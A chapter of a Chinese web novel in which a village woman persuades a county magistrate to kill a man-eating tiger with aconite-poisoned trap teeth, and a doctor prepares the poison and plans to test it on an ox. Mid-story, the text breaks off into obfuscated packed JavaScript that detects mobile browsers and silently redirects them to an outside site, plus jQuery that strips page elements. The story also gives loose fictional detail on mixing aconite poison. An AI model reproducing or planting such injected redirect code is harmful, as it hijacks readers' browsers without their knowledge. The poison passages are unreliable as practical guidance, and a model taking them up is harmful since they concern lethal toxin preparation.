第409章 试药
作品:《穿成老妇?荒山野菜嘎嘎挖!》 “大人,也许我有法子,能试一试。”
李肃一愣,抬头看她,眼中满是诧异和怀疑。
他见过不少妇人,有的泼辣,有的精明,有的能说会道,可那些都是过日子的小聪明。
猎虎这种事,连带着武大、石老根和那些常年走山的猎户都栽了跟头。
她不过只是一个有些胆量的妇人,能有什么法子?
可林禾站在那里,神色平静,没有半点心虚。
李肃沉默片刻,终于开口:“林娘子,你有什么法子,但说无妨。”
林禾没有立刻回答,而是先说明白。
“大人,我这个法子不一定能成,我也不敢打包票说一定能除掉那只老虎。
但至少,比硬碰硬和布置陷阱要稳妥些,就算不成,也不会有太大的伤亡。”
李肃闻言,身子微微前倾,眼中的怀疑褪去几分,多了些认真。
“你先说说看。”
林禾这才把琢磨了一夜的想法说出来。
“大人可知道乌头?”
李肃眉头一动。
“乌头?那不是药材吗?有毒的那个?”
李肃自然知道这个,但他没想到林禾也知道。
“就是此物。”
林禾点点头。
“我问过李大夫,乌头的毒性极烈,尤其是炮制过的乌头,见血封喉,牲畜沾上一点,跑不出几步就得倒地。”
李肃听着,眉头渐渐舒展开来,可随即又皱起。
“这法子本官不是没想过,可**这东西,涂在刀剑上,风吹日晒,毒性很快就散了。
真要刺中老虎,能入血的药量微乎其微,怕是毒不死它,反而把它激得更凶。”
林禾摇摇头。
“大人说的那是寻常用法。
李大夫告诉我,乌头毒若用烈酒调开,再加几味药材固定,涂在刀刃上能维持一个时辰不散。
而且这毒不需要多,只要划破皮,毒入血脉,老虎就跑不了。”
她顿了顿,继续说。
“咱们不用硬拼,还是用陷阱,还是用铁夹子,只是在夹子齿上涂上乌头毒。
老虎踩中夹子,皮肉破开,毒入血脉,它就算挣开夹子也跑不远。
这样既不用人正面搏虎,又能确保一击毙命。”
用乌头毒……他怎么就没想到?
李肃听着,眼中的怀疑一点一点褪去,取而代之的是一种复杂的情绪。
眼中有惊讶,有佩服,也有一丝惭愧。
他一个知县,带着衙役、猎户,折腾了这些天,又是陷阱又是围猎,**人、伤了将,愣是拿那只老虎没办法。
而眼前这个妇人,不过是在春风堂待了一夜,看了一夜伤患,就想出了这么个法子。
李肃沉默良久,终于开口,声音比方才郑重了许多。
“林娘子,你这个法子,有几成把握?”
林禾实话实说。
“大人,我没试过,不敢说几成。
但我问过李大夫,乌头毒对牲口也有效,用量够大,放倒一头牛都行。
老虎再凶,但也是血肉之躯。”
她顿了顿,又补了一句:“就算不成,咱们也没有太大的损失,大不了再想别的法子。”
李肃点了点头,站起身,在屋里踱了几步。
片刻后,他转过身,看着林禾,目光坚定。
“林娘子,本官这就让人去配乌头毒,你方才说的那些,可还有什么要补充的?”
林禾想了想,才说了些要注意的地方。
“大人,乌头毒要浓,越浓越好。
涂在刀剑上,要涂厚些,最好用油调一调,不容易被风吹干。
还有那些铁夹子,埋在老虎常走的地方,夹子齿上也要涂。”
李肃一一记下,唤来一个衙役,吩咐他去办。
衙役领命要走,李肃又叫住他。
“告诉李大夫,这药是县衙要的,让他多配些,用最好的料,钱从县衙账上出。”
衙役应声去了。
李肃回到书案后,看着林禾,忽然问了一句:“林娘子,你这法子,是从哪儿学来的?”
林禾摇摇头。
“没人教,就是看着那些伤者,想着怎么才能让老虎不再伤人,想来想去,就想到了这个。”
李肃沉默片刻,点点头,没再问。
窗外,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17298388|182632||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
日头已经升高了。
街上的人声渐渐多起来,可那声音里,依旧带着几分不安和惶惶。
林禾起身告辞,走到门口时,李肃忽然叫住她。
“林娘子。”
林禾回头看向他。
李肃看着她,认真地说。
“这法子若能成,你救的不止是靠山村那些百姓,还有城外那些等着建房的人家,本官……先替他们谢你一声。”
林禾摇摇头。
“大人言重了,法子能不能成,还不一定,等成了再谢不迟。”
说完,她推开门,走了出去。
李肃站在窗前,看着她走出县衙的背影,久久没有动。
李大夫接了县衙的差事,半点不敢耽搁。
他亲自配药,把药柜里那些藏着剧毒的药材翻了出来。
这些药材平时都是他锁好专门放在一个柜子里的,就怕被药童拿错。
那可真是会出人命的!
草乌、川乌、一枝蒿,一味一味地称,一味一味地研。
小药童在旁边打下手,磨药磨得手腕都酸了,也不敢吭声。
李大夫特意让他戴了两层厚布手套,生怕那药粉沾了手。
“这乌头毒可不是闹着玩的。”李大夫嘴里念叨着,“见血封喉,沾上一点就得送命。”
他把研好的乌头粉倒进陶钵里,又加了少许烈酒调成糊糊,搅了又搅,搅得那药糊黑乎乎的,散发着刺鼻的酒气与药味。
最后又加了一味白芨粉,说是能让**更好地附着在刀刃上。
药配好了,可谁也不敢说这毒到底有多烈。
李大夫想了想,把沈大山找来。
“大山,你帮我去牵头牛来。”李大夫说,“要大个的,壮实的,最好跟那老虎差不多大小。”
沈大山愣了愣,“李大夫,您要牛做什么?”
“试药。”
李大夫指了指那钵黑乎乎的乌头毒。
“这药要是连牛都毒不倒,那老虎就更别想了,总得得先试试才明白药效是多了还是少了。”
沈大山明白了,转身出了门。
要说这么大的牛,他还真知道哪里有!

